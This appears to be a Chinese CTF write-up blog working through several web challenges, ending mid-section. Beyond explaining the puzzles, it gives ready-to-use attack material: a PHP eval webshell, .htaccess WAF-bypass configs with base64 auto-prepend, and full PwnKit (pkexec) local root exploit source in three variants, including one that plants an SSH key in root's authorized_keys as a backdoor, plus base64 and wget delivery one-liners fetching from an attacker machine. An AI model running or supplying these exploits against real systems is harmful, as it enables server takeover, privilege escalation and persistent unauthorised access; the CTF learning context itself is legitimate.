上传(.htaccess)

进来之后是一个很普通的文件上传的页面:

image-20260326162508958

直接传php文件是不行的,然后就是想着拿.htaccess传上去之后强制把jpg文件当做php解析,但是正常走了之后发现还是不行的,就在考虑是不是<?给过滤了

那这里我们就直接穿一个base64编码的一句话木马,然后再传.hta文件把它解码了之后执行

image-20260326163537833

image-20260326163800441

然后我直接去访问然后传参就可以了

image-20260326163823259

这里再详细的讲一下关于hta文件在不同情况下应该写些什么

先来看我们这道题的hta:
首先我们内容的前两行其实就是在伪造文件头

1
2
#define width 1337
#define height 1337
  • 原理(伪造图片头部):很多靶场在文件上传时,会用 PHP 的 exif_imagetype() 或 getimagesize() 函数去检查文件内容。如果它发现文件开头不是图片的格式,就会报错“这不是图片”。
  • 妙招:在 C 语言和 XBM(一种古老的黑白图像格式)中,图片尺寸就是用 #define width 这种语法定义的。并且,在 Apache 的配置文件里,以 # 开头的行会被当成注释忽略掉!
  • 效果:PHP 引擎一看:“哦,有 #define width,这是个 XBM 图片,放行!”;Apache 服务器一看:“哦,这是两行注释,不用管,直接执行下面的配置!”完美骗过双端!

然后往下就是用了一个关键字绕过加上换一个解码:

1
2
php_value auto_prepend_fi\
le "php://filter/convert.base64-decode/resource=./shell.jpg"
  • 原理(关键字绕过 + 文件包含解码):

    • 这里本来应该是 php_value auto_prepend_file。这个指令的意思是:“在执行任何 PHP 文件之前,先强行把我指定的文件包含进来执行”。
    • 为什么加反斜杠 \?** 因为靶场的 WAF 过滤了 auto_prepend_file 这个敏感词!在 Apache 里,反斜杠 \ 代表“换行拼接”**。所以咱们把它拆成两半,成功绕过 WAF 检测,而 Apache 在解析时又会把它拼回原样。
    • 后面的 php://filter...:这是告诉 PHP:“包含 shell.jpg 之前,先用 Base64 给它解码!”(这就解释了为什么你之前传 UTF-16 乱码会失败,因为它在等 Base64!)。

    然后就是最基础的htaccess文件的语句:

    AddType application/x-httpd-php .jpg就是把.jpg文件当做php文件来解析

    那么放在其他场景里面来看一下应该写些什么

    如果一道题只是限制了不允许上传php后缀文件那么我们传的hta文件里面只需要写一句就可以了

    • 写法:

      Apache

      1
      AddType application/x-httpd-php .jpg

      (或者用另一种写法:SetHandler application/x-httpd-php)

    • 怎么打:传这个 .htaccess,然后直接传一个里面写着 <?php @eval($_POST['cmd']); ?> 的 shell.jpg 即可。

情况二:靶场检查了文件内容是不是图片(检查了头部)

  • 场景:限制了后缀名,并且后端用了 getimagesize() 检查文件开头是不是真实图片。

  • 写法(利用 XBM 伪造):

    Apache

    1
    2
    3
    #define width 133
    #define height 133
    AddType application/x-httpd-php .jpg
  • 怎么打:传这个 .htaccess,然后把木马也伪装一下,比如在你的 shell.jpg 最前面加一行 GIF89a,然后再写 <?php ... ?>。

情况三:靶场过滤了 .htaccess 里的敏感关键字

  • 场景:你想用 AddType 或者 php_value,但是传上去提示“包含非法字符”。

  • 写法(利用反斜杠 \ 换行绕过):

    Apache

    1
    2
    AddT\
    ype application/x-httpd-php .jpg

    (注意:\ 后面必须紧接着回车换行,不能有空格)

情况四:靶场极其变态,不仅过滤 .htaccess 关键字,还过滤了木马里的 <?php(也就是你现在这道题)

  • 场景:双重 WAF,限制后缀,检查文件头,还把 <? 这个符号拉黑了。

  • 写法(终极 Base64 自动包含流):

    Apache

    1
    2
    3
    4
    5
    #define width 1337
    #define height 1337
    AddType application/x-httpd-php .jpg
    php_value auto_prepend_fi\
    le "php://filter/convert.base64-decode/resource=./shell.jpg"
  • 传这个 .htaccess。然后你的 shell.jpg 里不要写任何明文的 <?php,直接把木马进行 Base64 编码(比如 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=),当成内容传上去。Apache 在解析 .jpg 时,会先用 Base64 解码你的木马,完美避开所有对 <?php 的检测!

php是世界上最好的语言

image-20260326172405518

先来进行代码审计,这里不准给flag1,flag2去通过post和get方法直接去传参,但是这里又要求flag1和flag2的值都等于8gen1

再往下看就是要求504_sys.com的值不是0或者空了,在之后就是正则了之后eval$sys里面的东西了

PHP 接收到你的 GET 请求 ?_POST[flag1]=8gen1&_POST[flag2]=8gen1 时,它会自动生成一个全局数组 $_GET。 此时,$_GET 数组内部的结构是这样的:

PHP

1
2
3
4
5
6
$_GET = array(
"_POST" => array(
"flag1" => "8gen1",
"flag2" => "8gen1"
)
);

你看,$_GET 数组里只有一个顶级键名,叫做 "_POST"。 防御代码检查的是 isset($_GET['flag1'])(它问的是:$_GET 里面有没有一个顶级键名叫 flag1?)。 答案显然是没有!flag1 被包裹在 _POST 这个数组里面了。所以,所有的 isset 检查全部返回 false,脚本安全放行。

  1. $_SERVER['QUERY_STRING'] 是什么?

过了检查之后,代码执行了: @parse_str($_SERVER['QUERY_STRING']);

我们要先搞懂 $_SERVER['QUERY_STRING']。 PHP 有时候会帮你把传进来的参数整理成数组(比如上面的 $_GET),但 $_SERVER['QUERY_STRING'] 非常野蛮,它根本不看 PHP 整理好的数组,而是直接去抓取你浏览器网址栏里 ? 后面的最原始的字符串。

所以,在这里,$_SERVER['QUERY_STRING'] 的值就是一串纯文本: "_POST[flag1]=8gen1&_POST[flag2]=8gen1"

  1. 致命的 parse_str() 函数(变量伪造机)

现在,这串原始文本被送进了 parse_str()。

parse_str(string $string) 的官方定义是:把字符串解析成多个变量,并设置到当前作用域中。 它的工作原理非常机械:它看到字符串里有 A=B,就会在内存里强行生成一个变量 $A,它的值是 B。如果看到 A[C]=B,它就会生成一个数组 $A,里面有个键叫 C,值是 B。

当它处理我们的字符串 _POST[flag1]=8gen1&_POST[flag2]=8gen1 时,极其恐怖的事情发生了: 它看到了 _POST 这个名字。它不管这个名字是不是 PHP 的系统保留字(比如 $_POST 是用来存 POST 请求数据的超全局变量),它直接在内存里强行重写了 $_POST 这个变量!

经过这一步,原本为空的 $_POST 数组,硬生生被它改写成了这样:

PHP

1
2
3
4
$_POST = array(
"flag1" => "8gen1",
"flag2" => "8gen1"
);

(注意:我们明明发的是 GET 请求,但通过 parse_str 的漏洞,我们成功伪造出了一个包含我们需要的数据的 POST 数组!)

  1. extract() 函数(拆包解压)

最后一步,代码执行了: extract($_POST);

extract(array $array) 的官方定义是:从数组中将变量导入到当前的符号表。 大白话就是:它会把数组里的“键名”直接变成“变量名”,把“键值”变成“变量值”。

因为我们在上一步已经把 $_POST 伪造成了包含 flag1 和 flag2 的数组,所以当 extract 处理它时:

  • 它看到数组里有个键叫 "flag1",值是 "8gen1",于是立刻在系统里生成了一行代码:$flag1 = "8gen1";
  • 它看到数组里有个键叫 "flag2",值是 "8gen1",于是又生成了一行:$flag2 = "8gen1";

到此为止,内存里真真切切地多出了 $flag1 和 $flag2 这两个独立的变量,并且它们的值都是 '8gen1'。

所以,紧接着的这句判断: if($flag1 == '8gen1' && $flag2 == '8gen1')

再然后就是我们要给504_SYS.COm传参了,php的变量只允许数字字母下划线,也就是说只要是检查到不是上述类别的字符就会直接转化为下划线,但是php底层代码有问题,它只会执行一次这样的操作,这里我们504那一串本来前面的位置就需要一个下划线,那这里直接传504[SYS.COM就可以直接把后面的点给保住了

非常好绕的命令执行

这道题的$evil = $args1.’(‘.$args2.’)(‘.$args3.’)’.’;’;会把我们的三个变量拼接起来并且这里会有两个括号跟在后面,想了一下好像大部分php语法都不支持两个括号,那这里就想到是不是在前面加一个注释符号把后面的过滤掉就可以了

这里还没过滤反引号,我们直接使用反引号来执行命令加上一个echo回显

这里还不允许有空格

ctype_space:查你是不是全是空 / 空格

ctype_graph:查你有没有空格,是不是全紧凑

我本来拿$IFS去绕过的但是这里$也ban了

所以我们这里要想办法去绕空格,直接<就可以了

image-20260326181457236

这又是一个上传(Linux提权)

首先进入题目就看见一个文件上传的页面

image-20260402155507973

直接上传一个php文件:

image-20260402155934873

那我们尝试上传一个jpg后缀的文件然后抓包修改后缀为php,发现是可行的,这里我穿了一个最基础的一句话木马

我们虽然可以直接蚁剑连接,但是我们是没有办法直接打开·文件进行的,也就是说我们这里权限不满足我们这样操作

image-20260402161057025

这里不行之后我又尝试了直接一步一步文件进行命令执行,然后看见根目录下面就直接有一个flag,尝试cat它以及使用了一些其他替代的命令发现这里也是不行的

这道题需要运用的就是一个Linux提权的漏洞了

首先我们进来发现我们是www-data用户,这是一个权限比较低的用户,再想到我们之前不能打开文件,那我们这里更要想办法提权了:

1
find / -perm -u=s -type f 2>/dev/null

我们这里直接就可以看见pkexec

image-20260402162417959

详细的讲解就不在这里赘述了,下面先来介绍第一种方法:

我们打开蚁剑的连接到shell的终端

Bash

1
echo "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKY2hhciAqc2hlbGwgPQogICAgIiNpbmNsdWRlIDxzdGRpby5oPlxuIgogICAgIiNpbmNsdWRlIDxzdGRsaWIuaD5cbiIKICAgICIjaW5jbHVkZSA8dW5pc3RkLmg+XG5cbiIKICAgICJ2b2lkIGdjb252KCkge31cbiIKICAgICJ2b2lkIGdjb252X2luaXQoKSB7XG4iCiAgICAiICAgICAgIHNldHVpZCgwKTsgc2V0Z2lkKDApO1xuIgogICAgIiAgICAgICBzZXRldWlkKDApOyBzZXRlZ2lkKDApO1xuIgogICAgIiAgICAgICBGSUxFICppbiA9IGZvcGVuKFwiL2ZsYWdcIiwgXCJyXCIpO1xuIgogICAgIiAgICAgICBpZiAoIWluKSBleGl0KDEpO1xuIgogICAgIiAgICAgICBGSUxFICpvdXQgPSBmb3BlbihcIi90bXAvZmxhZ19zdWNjZXNzLnR4dFwiLCBcIndcIik7XG4iCiAgICAiICAgICAgIGlmICghb3V0KSBleGl0KDEpO1xuIgogICAgIiAgICAgICBjaGFyIGJ1ZlsxMDI0XTtcbiIKICAgICIgICAgICAgc2l6ZV90IG47XG4iCiAgICAiICAgICAgIHdoaWxlICgobiA9IGZyZWFkKGJ1ZiwgMSwgc2l6ZW9mKGJ1ZiksIGluKSkgPiAwKSB7XG4iCiAgICAiICAgICAgICAgICBmd3JpdGUoYnVmLCAxLCBuLCBvdXQpO1xuIgogICAgIiAgICAgICB9XG4iCiAgICAiICAgICAgIGZjbG9zZShpbik7IGZjbG9zZShvdXQpO1xuIgogICAgIiAgICAgICBjaG1vZChcIi90bXAvZmxhZ19zdWNjZXNzLnR4dFwiLCAwNzc3KTtcbiIKICAgICIgICAgICAgZXhpdCgwKTtcbiIKICAgICJ9IjsKICAgIAppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKSB7CiAgICBGSUxFICpmcDsKICAgIHN5c3RlbSgibWtkaXIgLXAgJ0dDT05WX1BBVEg9Lic7IHRvdWNoICdHQ09OVl9QQVRIPS4vcHdua2l0JzsgY2htb2QgYSt4ICdHQ09OVl9QQVRIPS4vcHdua2l0JyIpOwogICAgc3lzdGVtKCJta2RpciAtcCBwd25raXQ7IGVjaG8gJ21vZHVsZSBVVEYtOC8vIFBXTktJVC8vIHB3bmtpdCAyJyA+IHB3bmtpdC9nY29udi1tb2R1bGVzIik7CiAgICBmcCA9IGZvcGVuKCJwd25raXQvcHdua2l0LmMiLCAidyIpOwogICAgZnByaW50ZihmcCwgIiVzIiwgc2hlbGwpOwogICAgZmNsb3NlKGZwKTsgCiAgICBzeXN0ZW0oImdjYyBwd25raXQvcHdua2l0LmMgLW8gcHdua2l0L3B3bmtpdC5zbyAtc2hhcmVkIC1mUElDIik7CiAgICBjaGFyICplbnZbXSA9IHsgInB3bmtpdCIsICJQQVRIPUdDT05WX1BBVEg9LiIsICJDSEFSU0VUPVBXTktJVCIsICJTSEVMTD1wd25raXQiLCBOVUxMIH07CiAgICBleGVjdmUoIi91c3IvYmluL3BrZXhlYyIsIChjaGFyKltdKXtOVUxMfSwgZW52KTsKICAgIHJldHVybiAwOwp9" | base64 -d > /tmp/exp2.c

再来对该断payload进行讲解:
这段payload的整体架构就是

1
echo "一长串字符" | base64 -d > /tmp/exp2.c

1️⃣ echo "..." (打包发货)

  • 作用: echo 命令的作用是在终端里打印一段文本。这里它把那一长串看似乱码的 Base64 字符串当作文本输出了出来。

2️⃣ | (管道符:传送带)

  • 作用: 这是 Linux 里极其伟大的发明。它像一条传送带,把左边 echo 吐出来的那一长串字符串,直接“喂”给右边的命令,而不是显示在屏幕上。

3️⃣ base64 -d (核心解码器)

  • 作用: base64 是 Linux 系统自带的编解码工具。后面的 -d 参数是 decode(解码)的缩写。
  • 它接收了管道传过来的那一长串代码,瞬间把它还原成了咱们上一回合讲的那段真正的 C 语言源码。

4️⃣ > /tmp/exp2.c (落地写盘)

  • 作用: > 是重定向符号,意思是“把前面解码出来的 C 语言代码,不要打印在屏幕上,而是写进一个文件里”。
  • 为什么选 /tmp 目录?(实战重点): 在 Linux 系统中,你当前的身份是极其卑微的 www-data,你在这个系统的绝大多数地方都没有写文件的权限。但是,/tmp(临时文件夹)是 Linux 里唯一一个默认允许所有人(任何人)读写的地方。所以这里是存放咱们黑客武器的完美阵地!

也就是我们把解码后的内容直接写入了/tmp/exp2.c这个文件

理解了大致框架之后就来看这段经过base64编码的内容:

蚁剑的终端是非交互式的终端,所以我们这里直接拿fopen等命令强制执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* --- 【上半部分:这是"毒药"的配方,存放在一个长字符串里】 --- */
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n" // 确保获取 Root 权限
" seteuid(0); setegid(0);\n"
" FILE *in = fopen(\"/flag\", \"r\");\n" // 避开 system(),直接用底层 API 读 flag
" if (!in) exit(1);\n"
" FILE *out = fopen(\"/tmp/flag_success.txt\", \"w\");\n" // 写出到 tmp 目录
" if (!out) exit(1);\n"
" char buf[1024];\n"
" size_t n;\n"
" while ((n = fread(buf, 1, sizeof(buf), in)) > 0) {\n"
" }\n"
" fclose(in); fclose(out);\n"
" chmod(\"/tmp/flag_success.txt\", 0777);\n" // 赋予最高权限方便我们查看
" exit(0);\n"
"}";

/* --- 【下半部分:这是"投毒者",负责布置现场和引爆】 --- */
int main(int argc, char *argv[]) {
FILE *fp;

// 1. 布置畸形目录,为越界读取做准备
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");

// 2. 写入恶意字符集转换配置
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");

// 3. 把上半部分的"毒药配方"写入成一个物理文件
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);

// 4. 在现场临时调用 gcc,把毒药熬成真正的 .so 动态链接库
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");

// 5. 构造剧毒的环境变量,准备毒杀 pkexec
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };

// 6. 终极引爆:不带参数(NULL)启动 pkexec,强迫它吃下环境变量里的毒药
execve("/usr/bin/pkexec", (char*[]){NULL}, env);

return 0;
}

这里是在蚁剑终端执行的操作,那我们这里必须要编码了再执行,因为在c语言中有着大量例如;等内容,容易误使终端认为命令结束,导致我们无法执行

第二步:在蚁剑终端里依次执行以下命令:

先进入目录并编译(注意咱们这次叫 exp2.c):

Bash

1
2
cd /tmp
gcc exp2.c -o exp2

那么这里我们为什么要进入到tmp目录呢

然后引爆:

Bash

./exp2

最后查看:

cat /tmp/flag_success.txt

image-20260330205128200

当然以上只是其中的一种情况,还有很多情况下:

🅰️ 情况 A:弹回交互式 Root Shell(最爽的解法)

💡 判断方法(什么时候用它?):

  1. 靶机出网(能连通你的 Kali 或 Yakit)。
  2. 你已经有了一个相对稳定的通道(比如你已经通过 Yakit 弹了一个低权限的 Shell 回来)。
  3. 你想要拿到一个带有 # 的最高权限控制台,方便自由地敲命令、找线索。

当然这个方法就需要考虑tty了,下面的b和c是不需要考虑tty的,蚁剑是没有原生tty的,它是一个伪终端,也就是pty,它和原生tty的区别就是原生tty由系统内核直接管理,具有完整的终端口特性;

而蚁剑的pty则是Web 层模拟,依赖目标语言(PHP/ASP/JSP)的执行能力,某些极端场景(如复杂信号、内核级操作)可能不如原生稳定,但日常命令、提权、运维足够用。

那为什么使用方法a就需要我们具有tty环境呢?

  • 原理解析: Payload A 的最后一句是 execve("/bin/sh", ...)。它的目的是在当前进程中“召唤”出一个一直运行的 Shell,等待你不断输入 ls、whoami 等命令。
  • 翻车现场: 如果你在蚁剑(没有 TTY)里执行 Payload A,蚁剑底层的 PHP 会帮你执行程序,程序确实召唤出了 /bin/sh 并且变成了 Root 权限,但是!这个 Root Shell 找不到可以输出画面的屏幕,也找不到可以接收你打字的键盘。 结果就是:网页一直转圈圈卡死,或者程序瞬间崩溃退出,你什么都看不到。

💻 完整 Payload 代码(在本地保存为 payload_A.c):

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* ========== 弹头部分开始 ========== */
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"

/* * ⚠️【需要修改的地方 1:修复环境变量】
* 正常情况下 Ubuntu/CentOS 不需要改。
* 但如果靶机是极其奇葩的精简系统(敲 ls 都提示找不到),
* 你需要把这里的 PATH 改成靶机真实的 PATH。
*/
" char *envp[] = {\"PATH=/bin:/usr/bin:/sbin:/usr/sbin\", NULL};\n"

/* * ⚠️【需要修改的地方 2:启动什么 Shell?】
* 绝大多数 Linux 都有 /bin/sh,所以通常不用改。
* 如果确定靶机有 bash,可以改成 "/bin/bash"。
*/
" char *args[] = {\"/bin/sh\", NULL};\n"
" execve(\"/bin/sh\", args, envp);\n"
" exit(0);\n"
"}";
/* ========== 弹头部分结束 ========== */


/* ========== 发射器部分(死代码,无需修改) ========== */
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
return 0;
}

🅱️ 情况 B:盲读/物理搬运 Flag(极其猥琐但有效)

💡 判断方法(什么时候用它?):

  1. 靶机不出网(你弹不回 Shell)。
  2. 你只拿到了蚁剑、冰蝎等 WebShell,没有真正的交互式终端(执行 /bin/sh 会卡死)。
  3. 你明确知道 Flag 藏在哪里,只想偷出来。

💻 完整 Payload 代码(在本地保存为 payload_B.c):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* ========== 弹头部分开始 ========== */
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"

/* * ⚠️【需要修改的地方 1:你要偷的文件在哪?】
* 默认是 "/flag"。
* 如果题目提示 flag 在 /root/secret.txt,请改成 fopen(\"/root/secret.txt\", \"r\");
* 再次提醒:注意里面的双引号需要加斜杠转义(\")!
*/
" FILE *in = fopen(\"/flag\", \"r\");\n"
" if (!in) exit(1);\n"

/* * ⚠️【需要修改的地方 2:偷出来的文件放哪?】
* 默认写到 "/tmp/flag_success.txt"。
* 如果靶机出题人把 /tmp 目录封了,请改成 "/dev/shm/flag_success.txt"
*/
" FILE *out = fopen(\"/tmp/flag_success.txt\", \"w\");\n"
" if (!out) exit(1);\n"

" char buf[1024];\n"
" size_t n;\n"
" while ((n = fread(buf, 1, sizeof(buf), in)) > 0) {\n"
" fwrite(buf, 1, n, out);\n"
" }\n"
" fclose(in); fclose(out);\n"

/* * ⚠️【需要修改的地方 3:权限同步修改】
* 这里的路径,必须和上面"修改的地方 2"保持一模一样!
* chmod 0777 是为了让你等下用低权限 webshell 也能直接看到内容。
*/
" chmod(\"/tmp/flag_success.txt\", 0777);\n"
" exit(0);\n"
"}";
/* ========== 弹头部分结束 ========== */


/* ========== 发射器部分(死代码,无需修改) ========== */
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
return 0;
}

🅲 情况 C:强写 SSH 公钥留后门(AWD/靶场长久固权)

💡 判断方法(什么时候用它?):

  1. 靶机对外开放了 22 端口 (SSH)。
  2. 你想留个后门,以后随时随地敲命令 ssh root@靶机IP 就能直接连上去,不需要每次都走 WebShell 去触发漏洞。

💻 完整 Payload 代码(在本地保存为 payload_C.c):

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* ========== 弹头部分开始 ========== */
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"

" FILE *out = fopen(\"/root/.ssh/authorized_keys\", \"a+\");\n"
" if (out) {\n"

/* * ⚠️【极其重要!需要修改的地方:填入你的 SSH 公钥】
* 把下面 ssh-rsa 后面的内容,换成你自己 Kali/Mac 上的 ~/.ssh/id_rsa.pub 的内容!
* 注意结尾要保留 \\n 换行符!
*/
" fprintf(out, \"ssh-rsa AAAAB3NzaC1...你的公钥写在这里...== hacker@kali\\n\");\n"

" fclose(out);\n"
" }\n"

/* SSH 规范极其严格,公钥文件权限必须是 600,绝不能改! */
" chmod(\"/root/.ssh/authorized_keys\", 0600);\n"
" exit(0);\n"
"}";
/* ========== 弹头部分结束 ========== */


/* ========== 发射器部分(死代码,无需修改) ========== */
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
return 0;
}

🚀 终极执行步骤(无脑照做即可)

1. 选好弹头,压缩成 Base64 在你的个人电脑(Kali/Mac)上,选好上面的 A、B 或 C,修改好里面的信息并保存(比如存为 exp.c)。 打开你的本地终端执行: cat exp.c | base64 -w 0 (如果是 Mac 则用 base64 -i exp.c) 把你得到的那一长串乱码复制下来。

2. 在靶机上“一键超度” 切回你的蚁剑 / Yakit 终端,直接粘贴并执行下面这行绝杀命令(把 [你的Base64] 替换掉)。

👉 默认用 /tmp 作为阵地的连招:

Bash

1
echo "[你的Base64]" | base64 -d > /tmp/exp.c && cd /tmp && gcc exp.c -o exp && ./exp

👉 ⚠️ 防翻车备用连招(如果遇到报错 Permission denied,说明 /tmp 目录不准执行程序,立刻换下面这个,去 /dev/shm 阵地操作):

Bash

1
echo "[你的Base64]" | base64 -d > /dev/shm/exp.c && cd /dev/shm && gcc exp.c -o exp && ./exp

那么如何使用呢?

第一种就是我们题目里面演示的那样,在题目终端里面直接echo我们编码后的内容写入到我们的文件中

第二种方法就是我们先把对应的payload保存为.c后缀文件,然后让靶机访问我们的电脑,那么这里就肯定需要靶机可以出网了

操作步骤:

  1. 本机开启兵工厂: 在你的本机上,把 exp.c 放到一个空文件夹里。打开终端,在这个文件夹下启动一个极其轻量的 Python 网页服务器:

    Bash

    1
    python3 -m http.server 8000

    (此时,你的本机变成了一个下载站)

  2. 靶机主动拉取: 切换到靶机的命令行终端。利用 Linux 系统几乎必带的 wget 或 curl 命令,把你的武器拉过去并直接编译:

    Bash

    1
    2
    3
    4
    5
    6
    cd /tmp
    wget http://[你的本机IP]:8000/exp.c -O exp.c
    # 如果没有 wget,就用 curl: curl http://[你的本机IP]:8000/exp.c -o exp.c

    gcc exp.c -o exp
    ./exp

优点: 完美绕过命令行长度限制,适合传输极其庞大的漏洞利用代码或二进制后门。

方法三:降维打击 —— 本地预编译(无 GCC 绕过法)

CTF 比赛到了后期,很多出题人会非常恶心人,**直接把靶机上的 gcc 编译器给卸载了!**我们如何去判断gcc编译器是否存在呢?

我们可以输入gcc –version或者gcc -v来查看版本信息,或者我们可以输入command -v gcc,如果环境存在gcc那我们就可以看见一个文件路径,反之不存在那么我们就看不见文件路径

这时候,无论你用 echo 还是 wget 把 .c 源码传上去,靶机都无法编译,直接报 gcc: command not found。

操作步骤: 既然靶机不能造武器,那我们就在自己家里造好,直接把核弹运过去。

  1. 环境对齐: 确认靶机的系统架构(通常是 64 位的 x86_64 Linux)。打开你的 Kali 虚拟机(必须也是 Linux 架构)。

  2. 拆解 Payload: 你不能再用那个 main 函数去调用 gcc 的自动化脚本了。你必须手动把那段读 flag 的 C 代码保存为 pwnkit.c,然后在你自己的 Kali 上手动编译它:

    Bash

    1
    gcc pwnkit.c -o pwnkit.so -shared -fPIC
  3. 打包上传: 用战术一(WebShell上传)或战术二(wget),把你在 Kali 上编译好的 pwnkit.so 这个二进制文件,直接传到靶机的 /tmp 目录下。

  4. 手动引爆: 在靶机的终端里,手动敲击原本属于 main 函数布置环境的命令:

    Bash

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    cd /tmp
    mkdir -p 'GCONV_PATH=.'
    touch 'GCONV_PATH=./pwnkit'
    chmod a+x 'GCONV_PATH=./pwnkit'
    mkdir -p pwnkit
    echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules

    # 极其重要:把你刚才上传的 pwnkit.so 移到这个文件夹里
    mv /tmp/pwnkit.so /tmp/pwnkit/pwnkit.so

    # 注入环境变量并引爆
    env -i PATH=GCONV_PATH=. CHARSET=PWNKIT SHELL=pwnkit /usr/bin/pkexec

优点: 终极杀招,彻底摆脱对靶机编译环境的依赖,专治各种被“阉割”的服务器环境。

光顾着讲了,这里来讲一下第二种方法,第二种方法其实就是要利用我们的payloadA的方法了,那我们这里就要想办法搞定tty的东西了

第一种方法就是拿哥斯拉做

网站被黑

进入题目之后是一个飞机票,无法直接看到什么信息,然后使用dirsearch去扫描一下扫到了一个flag.php,我们访问一下发现没有任何东西;

然后我们抓包就会看见提示

image-20260406163015358

我们解码一下就得到了/n0_0ne_f1nd_m3/,我么拿去访问一下

image-20260406163313399

这里我第一次做的时候踩雷了,其实这里很简单,先来讲file参数应该传什么吧

这里既然是有·include了,不需要多说直接伪协议去读文件,这里还提示我们去读imposible.php了,那这里目标就是它了,但是需要·注意的是这里我们不能使用base64编码,因为题目很明确给我们ban了,那这里我们拿rot13编码就可以了:

1
file=php://filter/read=string.rot13/resource=imposible.php

然后再来讲text的传参,我这里第一次做的时候就是直接传的那一串字符,发现死活不行,后面才想起来这里file_get_contents()的第一个参数是文件路径,我直接传字符串肯定是不行的,这里需要拿data伪协议做一个绕过:

1
text=data://text/plain,welcome to the 504sys

所以我们把两个payload拼接在一起就得到:

1
?text=data://text/plain,welcome%20to%20the%20504sys&file=php://filter/read=string.rot13/resource=imposible.php

然后打开网页源代码解码就得到flag了

image-20260406170303016

/usr/local/lib/python3.5/site-packages/flask/app.py

15615647417334

image-20260406170453432

c31eea55a29431535ff01de94bdcf5cf

image-20260406170629428

image-20260406170727183

c31eea55a29431535ff01de94bdcf5cf1f130d751b5f64bcfb4976ea0f5c4761d48c020eb9771281308cafa6b62f92fb

very php

这里进来就是直接源码,其实这道题难度不是特别高,就是流程·比较多

我们先来看源码可以发现这里给了我们一个qwq类并且里面的oao方法还会显示config.php的源码,那么这里我们应该能想到config里面肯定是有东西的;

image-20260406195430191

然后继续往下走可以看见

然后就是一个特别长的正则,这里就来到了我们的第一个难点:

1
2
3
4
5
